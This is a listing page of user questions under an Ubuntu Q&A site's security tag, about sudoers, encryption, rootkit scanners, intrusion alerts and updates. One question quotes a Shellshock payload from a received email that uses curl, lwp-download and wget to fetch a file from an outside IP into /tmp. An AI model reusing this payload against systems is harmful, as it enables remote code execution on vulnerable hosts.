Security covers a wide-ranging set of topics including Users, Permissions, Authentication, Authorisation, Upgrades, Firewalling, Hardening, etc.

learn more… | top users | synonyms

1
vote
1answer
6 views

How to check validity of an Ubuntu installation via debootstrap?

My goal is to set up an Ubuntu Server installation via debootstrap from another Ubuntu installation and to be sure that this new installation is a correct Ubuntu installation without modifications. ...
0
votes
0answers
17 views

How can I get capabilities to work with su?

I added a line to /etc/security/capability.conf so I can have a user who can read everything for backups, but not do everything root can. cap_dac_read_search backup If I add a password and shell ...
1
vote
2answers
30 views

Is there a way I can password protect a folder without encrypting/compressing?

I have got a folder that contains private stuff and I don't want others to be able to see its content. I will frequently open it and the folder is quite large. I know I can password protect it by ...
2
votes
1answer
9 views

Priority field in CVE pages on http://people.ubuntu.com/~ubuntu-security/cve/CVE-XXXX

On http://people.ubuntu.com/~ubuntu-security/ security patches for packages are announced and correlated with the corresponding CVE from Mitre. I just wonder, how the "Priority" is set. For ...
1
vote
1answer
171 views

Security of Ubuntu flavours, especially Kubuntu

Does Kubuntu gets the same level of OS security as Ubuntu with the Unity desktop? Does Ubuntu developers offer special security updates to the unity desktop, or security is only dependent on the ...
4
votes
1answer
46 views

How do I allow a user to only run the apt-get update command with sudo?

I cannot figure out how to allow a user (in this case test) to only be able to run the apt-get update command with the sudoers file. When ever I try to add the user and then test it out it still does ...
-1
votes
0answers
18 views

Where can I study linux, In and out? [on hold]

My team and I will soon begin studying and practicing for the nationwide Cyber Patriot program. As I'm famed for being out 'Linux guy' I would really begin to improve my knowledge on the subject. Does ...
0
votes
0answers
96 views

Email to () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt; [closed]

I got an Email with this Details and do not know what it means From: () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget ...
3
votes
2answers
69 views

Are there any security issues with making my /etc/sudoers publicly readable?

I've recently started to use my GitHub account as a way to synchronize my various config files across computers, including my /etc/sudoers. Are there any security vulnerabilities that this exposes? ...
0
votes
0answers
21 views

Has Ubuntu adopted the wont fix issue on coreutils? [closed]

Lcap was recently removed from Debian with Jessie and I am wondering if the Ubuntu team is taking the stance that "root is God and has no other God before root" or whether system security is supposed ...
2
votes
1answer
281 views

PUA.Win.Exploit.CVE_2012_0110 FOUND

I recently scanned my system with (I am running the latest version of ClamAV and my definitions are up-to-date): sudo clamscan -r --detect-pua --infected --bell / And this one was of the results: ...
1
vote
0answers
25 views

Upgrade, unable to boot [closed]

I've just done a regular upgrade on my system. I restarted my computer and Ubuntu won't load. All I've got is a small blue window that says HDD has been blocked by the current security ...
2
votes
1answer
15 views

Does Kubuntu have GPG keys?

Does a Kubuntu have a GPG keys to prove the authenticity of OS image? I saw the Ubuntu have, but didn't see anything for [K]ubuntu.
3
votes
0answers
20 views

Find Kali Security tester tools after installation

I'm a 'beginner' with Ubuntu. I tried it already a few times. I also tried Kali, etc already. I think Ubuntu is very useful, and has many possiblities. But I missed one thing from Kali. The Security ...
2
votes
1answer
19 views

Can PGP keys in Ubuntu be replaced?

If some attackers compromised an ISO image of Ubuntu and replaced inner PGP keys , then I will not to able get & install security updates. Is it right? I'm asking it because I possible may meet ...
0
votes
0answers
11 views

DropbBox suddenly restarted with “Killed” message

I have installed DropBox with: cd ~ && wget -O - "https://www.dropbox.com/download?plat=lnx.x86_64" | tar xzf - And it normally works fine, but today when I was syncing with my online ...
1
vote
1answer
16 views

Encrypt second hard disk with same password

I installed Ubuntu 14 LTS with disk encryption (selected during installation). I have two questions: 1- What is encryption algorithm of current encrypted disk? 2- I have a second hard disk and I ...
0
votes
2answers
32 views

Was my SSH server compromised? If so, how, and what steps should I take?

I recently enabled ssh access to my machine to work on a group project with my classmates. I read the guide for setting up ssh on ubuntu and tried to follow good security practices. I disabled ...
2
votes
0answers
22 views

What's up with the sudden appearance of .AppleDouble folders all over my filesystem?

Something I have never seen on my Ubuntu machine before now- .AppleDouble folders have appeared in many different folders all over my filesystem. It creeped me out- like someone on a Mac was looking ...
0
votes
1answer
31 views

UFW blocking connection every minute at home [duplicate]

I'm using a router to connect to the internet at home. I used a long password with WPA2/AES, changed the SSID and changed the default password. But strangely, even if I disconnect the router from the ...
-3
votes
1answer
51 views

need to check if my ubuntu 14.10 has been hacked [closed]

I have a Ubuntu 14.10 machine and I would like to check if my security is OK. I doubt that some one accessed my machine from internet and remotely controlled it. so what are the suitable tools I need ...
0
votes
0answers
15 views

Tiger Warns and Alerts

I am using Plesk 11 and have installed Fail2Ban, RKHaunter and Tiger. Tiger and Fail2Ban sends me emails, but Tiger shows a lot of warnings and alerts. # Checking for known intrusion signs... # ...
0
votes
1answer
48 views

Can an unmounted USB be infected my malware?

Yesterday, I went on a dark creepy site whose js freezed my system/firefox (Ubuntu 14.04 up to date, Firefox 37.0.1 up to date). Now I tried, from the same system, to find any malware with: sudo ...
1
vote
0answers
41 views

Start programming [closed]

I am a beginner ubuntu user, and I am interested in learning a programming language. My demands are that I would like it to help me master the command line, and be a good base voor learning future ...
0
votes
1answer
14 views

gnuPG encrypt and decrypt folder

I use this command to compress and encrypt a directory: tar zcvf - /tmp/directory | gpg -c > /tmp/directory.tar.gz.gpg What is the command to decrypt and unpack at the same time?
2
votes
1answer
24 views

OSSEC HIDS reports “Interface entered in promiscuous(sniffing) mode”

I have installed the latest version of OSSEC HIDS (2.8.1), and I keep now getting these email notifications from it: OSSEC HIDS Notification. 2015 Apr 08 11:26:17 Received From: ...
0
votes
1answer
57 views

someone is using may sendmail to spam other

I have an Ubuntu (14.04.1 LTS) install on AWS with sendmail. I keep getting messages from mail servers that are unable to deliver some of my messages (I did not send) and all are about sex. So I ...
11
votes
2answers
175 views

Do I need to install Security updates for Ubuntu base?

I installed Lubuntu 14.04 LTS from a disc and have added updates.System info shows 14.04.2 LTS. Software updater >security updates offers Ubuntu base 103MB. Do I need to install this?
1
vote
1answer
42 views

Why the attack's ip address has a string 'dia'

This is a record from netstat –lnt | grep ^tcp: tcp 0 0 xx.xxx.xx.72:ssh 106.49.174.61.dia:55983 ESTABLISHED "x" is hidden by me :) my questions are: why does the address have ...
1
vote
1answer
59 views

How do I prevent webcam hacks [closed]

I have read on many websites that there is an increasing number of attacks on webcams, based on viruses and similar software that allow third parties to gain control of the webcam of an attacked ...
1
vote
2answers
25 views

Is an application in Ubuntu allowed to open other applications if it does not have elevated privileges?

Let's assume an application in Ubuntu is compromised. Since, by default, downloaded applications do not have root privileges, no major damage can occur. The worst a malicious hacker can possibly do ...
-2
votes
3answers
37 views

Does Ubuntu accept purely random incoming connections outside the LAN by default (meaning ufw is disabled)? [closed]

By "purely random," I mean that the connection was not initiated by the Ubuntu user. EDIT: For example, think of a malicious SSH connection from a source outside the LAN.
0
votes
1answer
48 views

Automatically installing security updates on desktop system more than once per day

I see that the GUI configuration for update-manager has a maximum check interval of once per day. I'm sure Canonical thought about this carefully, but these days I don't want to be without a ...
0
votes
1answer
20 views

OSSEC user accounts disabled

I have recently installed OSSEC (2.8.1), and during the installation I noticed that it created some extra user accounts. But when viewing those user accounts in my System Settings > User Accounts ...
0
votes
1answer
43 views

How to get a program to startup at start if it requires sudo to start

I have got a program which to start needs to be started with sudo, but as it would be very useful for this program to start up at startup without me having to manually start it, is there a way to get ...
6
votes
2answers
141 views

Why doesn't chkrootkit test syslogd?

When I scan my machine with chkrootkit I notice that it always says for one of them: Checking `syslogd'... not tested Why is this not tested for? Should this ...
0
votes
2answers
66 views

Ubuntu 14.04 LTS - Why can User bypass password at Unity Login?

We've had Ubuntu on my wife's computer at home for several years now and as far as I am aware, she has always had to use her password to login. However, a couple of days ago, she pointed out to me ...
-10
votes
2answers
672 views

I think my PC is being hacked. What should I do? [closed]

I'm afraid I'm being hacked: My Ubuntu is receiving inbound traffic while my PC is disconnected from Ethernet and WIFI, so my question is, how am I receiving inbound traffic? I even have a firewall ...
0
votes
2answers
18 views

Installed version 12.04 and it worls. Do I really need a new version…?

I was unable to install 14.04 and need not receive assistance with solving it; there, I was able to install 12.04. But, I was advised to install 14.01/14.10. Do I really need to install a newer ...
1
vote
2answers
23 views

mitigation of grub attacks

I want to disable the sing user mode attack performed at the grub level by passing kernel parameters. I know a solution that is putting the grub password & bios password.but I want to know ...
1
vote
1answer
53 views

Am I part of a botnet?

I have Ubuntu 14.10. How do I check if my Ubuntu is part of a botnet? These are the addresses I found with netstat: tcp ESTAB 0 0 192.168.5.122:33195 213.199.179.157:40016 ...
1
vote
1answer
42 views

Why system accounts given login shell on Ubuntu 12.04.5 Desktop

I did a fresh install of Ubuntu 12.04.5 64-bit Desktop from ubuntu-12.04.5-desktop-amd64.iso and was shocked to find the login shell of numerous system accounts was set to /bin/sh instead of ...
0
votes
1answer
18 views

Is there a resource which lists Ubuntu Security Notices?

Every week, I check the Ubuntu Security Notices page, to see what's going on in the world of vulnerabilities. Is there anywhere the information from these posts is kept in a more reviewable format? ...
1
vote
2answers
44 views

Which is actual difference between package update and security updates?

This is probably a real noob question... I would like to understand what the "updates" alerts I get when logging onto my Lubuntu box actually mean. When I read: 35 packages can be updated. 22 ...
0
votes
0answers
12 views

What protocol does the system-wide proxy use?

I'm writing a SOCKS5 proxy (hoping to integrate native encryption options (4096 bit GPG encrypted exchange for the 256 bit AES communications cypher) because I'm bored and need something to do). When ...
0
votes
0answers
31 views

12.04 auditd will not record user login and logoff to audit.log

Auditd only logs events of types CWD, PATH and SYSCALL. It never seems to detect events of type USER_LOGIN for example. I have enabled rules to catch these login/logout events but they do not seem ...
1
vote
2answers
34 views

how to prevent sudo from executing a non root file?

I want to prevent sudo from executing files not owned by root. so, to allow sudo run such file, I want the file to be: chown root:root filename chmod go-w filename Is it possible to limit sudo ...
1
vote
2answers
70 views

permanent terminal with root [closed]

Is it bad to have at all times (one) terminal logged in as root? If so, why? (I leave the window with root terminal usually opened because it's much more comfortable than writing sudo before ...
0
votes
1answer
39 views

linux detect interface promiscuous mode in my network

how can detect and get the name or mac adress or ip adress of any device in my network that the mode of its interface is promiscous script python. I need help, thanks.
-1
votes
1answer
45 views

what is the best way to upgrade security patches on ubuntu 14.04

I am trying to upgrade security patches on production boxes. Need to know how can i plan this activity. I also need to make sure that in case something is wrong then how do i roll the updates.